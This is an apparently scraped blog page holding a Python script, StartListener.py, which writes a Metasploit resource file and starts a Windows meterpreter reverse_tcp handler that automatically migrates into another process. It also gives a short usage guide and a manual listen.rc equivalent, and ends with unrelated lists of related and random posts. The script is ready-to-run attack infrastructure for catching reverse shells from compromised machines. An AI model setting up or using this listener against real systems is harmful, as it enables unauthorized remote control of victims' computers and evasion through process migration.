#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py

import sys
import subprocess
#write a resource file and call it
def build(lhost,lport):
options = "use exploit/multi/handler\n"
options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
filewrite = file("listener.rc", "w")
filewrite.write(options)
filewrite.close()
subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args
try:
lhost = sys.argv[1]
lport = sys.argv[2]
build(lhost,lport) #index error
except IndexError:
print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

You  can also create a file, such as "listen.rc"

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.150
set LPORT
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -j

Then,use it to start a listen.

msfconsole -r listen.rc

Quickly Start Listener scripts的更多相关文章

  1. Windows API Hooking in Python

    catalogue . 相关基础知识 . Deviare API Hook Overview . 使用ctypes调用Windows API . pydbg . winappdbg . dll inj ...

  2. Oracle Apps DBA 常用命令

    数据库启动监听 addlnctl.sh start instance 启动数据库 addbctl.sh start 启动应用服务器 adstrtal.sh 停止应用服务器 adstpall.sh -- ...

  3. php monolog 的写日志到unix domain socket 测试终于成功

    在另外一个客户端执行 php s.php后, 通过nc -lU /tmp/tg.sck 建立的unix domain socket 有接收到消息. <?php require 'vendor/a ...

  4. 使用可移动表空间(TTS)的最佳做法 (Doc ID 1457876.1)

    Best Practices for Using Transportable Tablespaces (TTS) (Doc ID 1457876.1) APPLIES TO: Oracle Datab ...

  5. 修改Oracle XE Listener 占用的1521、8080端口

    修改Oracle XE Listener 占用的1521.8080端口今天在帮开发人员Demon安装oracleXE时,有这么一段提示: [sql]   Destination Folder: D:\ ...

  6. Oracle Listener

    一.监听器功能 1)监听客户端请求:监听器作为独立进程运行在数据库服务器上,监听特定网络端口(默认1521)服务请求. 2)为客户端请求分配oracle Server Process:监听器不直接处理 ...

  7. [NPM] List available npm scripts and support tab completion

    In this lesson we will look at different ways you can list the available npm scripts. Whether we wan ...

  8. JavaWeb——Listener

    一.基本概念 JavaWeb里面的listener是通过观察者设计模式进行实现的.对于观察者模式,这里不做过多介绍,大概讲一下什么意思. 观察者模式又叫发布订阅模式或者监听器模式.在该模式中有两个角色 ...

  9. 严重: Exception sending context initialized event to listener instance of class

    问题描述:Exception sending context initialized event to listener instance of class org.springframework.w ...

随机推荐

  1. Hibernate3 第二天

    Hibernate3 第二天 第一天回顾: 三个准备 创建数据库 准备po和hbm文件 准备灵魂文件hibernate.cfg.xml 七个步骤 1 加载配置文件Configuration 2 创建会 ...

  2. 数据持久层框架iBatis, Hibernate 与 JPA 比较

    在本文中我们介绍并比较两种最流行的开源持久框架:iBATIS和Hibernate,我们还会讨论到Java Persistence API(JPA).我们介绍每种解决方案并讨论其所规定的品质,以及在广泛 ...

  3. C#中int32 的有效值范围

    C#中int32 的有效值范围是[Int32.MinValue, Int32.MaxValue]中的整数,或者说是从 -2^16 到 2^16-1 之间的整数

  4. 带分页、过滤条件的DSL

    "query": { "bool": { "must_not": { "match_phrase": { "p ...

  5. 解决 maven项目问题 An error occurred while filtering resources

    解决方法: Maven -> Update Project.

  6. ViewController

    ViewController ViewController 进入VC后先调用loadView,再调用ViewDidLoad ViewDidLoad皆为系统调用 需要先调用[super viewDidL ...

  7. Linux scp命令

    语法 scp [-1246BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file] [-l limit] [-o ssh_option] [-P p ...

  8. Java 四舍五入并小数点后保存两位,千分位分隔

    import java.text.DecimalFormat; public class FileTest {    public static void main(String[] args) {  ...

  9. unionpay技术服务开放平台

    URL: https://open.unionpay.com/ajweb/index USER: jimingsong PWD: qweasd

  10. css1

    背景属性:background;background-color;background-image;background-repeat;(背景是否重复,有repeat-x 横式重复,repeat-y竖 ...